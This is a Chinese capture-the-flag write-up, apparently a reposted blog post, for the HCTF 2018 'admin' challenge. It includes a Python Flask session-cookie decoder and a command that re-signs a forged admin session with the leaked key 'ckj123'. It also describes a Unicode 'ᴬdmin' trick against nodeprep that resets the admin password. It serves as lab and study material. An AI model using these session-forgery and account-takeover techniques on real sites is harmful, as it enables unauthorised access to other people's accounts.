[HCTF 2018]admin

这道题先用flask session伪造来做

flask session伪造过程就是先创建一个普通用户(知道session),解密,把name换成admin(前提也是admin作为管理员账户),在加密,通过admin的session登陆进去,就能直接实现对admin的控制

首先创建一个test用户,如图为它的session
在这里插入图片描述
将session解密

#!/usr/bin/env python3
import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decode

def decryption(payload):
    payload, sig = payload.rsplit(b'.', 1)
    payload, timestamp = payload.rsplit(b'.', 1)

    decompress = False
    if payload.startswith(b'.'):
        payload = payload[1:]
        decompress = True

    try:
        payload = base64_decode(payload)
    except Exception as e:
        raise Exception('Could not base64 decode the payload because of '
                         'an exception')

    if decompress:
        try:
            payload = zlib.decompress(payload)
        except Exception as e:
            raise Exception('Could not zlib decompress the payload before '
                             'decoding the payload')

    return session_json_serializer.loads(payload)

if __name__ == '__main__':
    print(decryption(sys.argv[1].encode()))

在这里插入图片描述
执行这个脚本,会得到字符串,把test改为admin,关于flask session欺骗,必须需要一个标签,说白了就是密钥
在这里插入图片描述
通过查看源代码,得到密钥为ckj123,下面进行加密

在这里插入图片描述
这里执行的命令是

python flask_session_cookie_manager3.py encode -s "ckj123" -t "新生成的密钥"

生成后放到bp里发包
在这里插入图片描述
session欺骗成功

第二种方法
Unicode欺骗
这里通过观察源码,发现注册页面,登陆页面,修改密码都存在着strlower这个函数,但是python中有自带的lower函数来转换小写,这里就有问题了,这里考查的是代码能力,查询一下这个函数的官方定义

def strlower(username):
    username = nodeprep.prepare(username)
    return username

可以发现调用了nodeprep.prepare这个函数,第一次调用这个函数,会将unicode字符由ᴬdmin,变为Admin,在调用一次就会变为admin

这里就模拟的是注册,登陆,修改密码,最后可以实现把admin的密码修改掉,思路就是这样

发布了32 篇原创文章 · 获赞 0 · 访问量 1350

猜你喜欢

转载自blog.csdn.net/weixin_43940853/article/details/103455439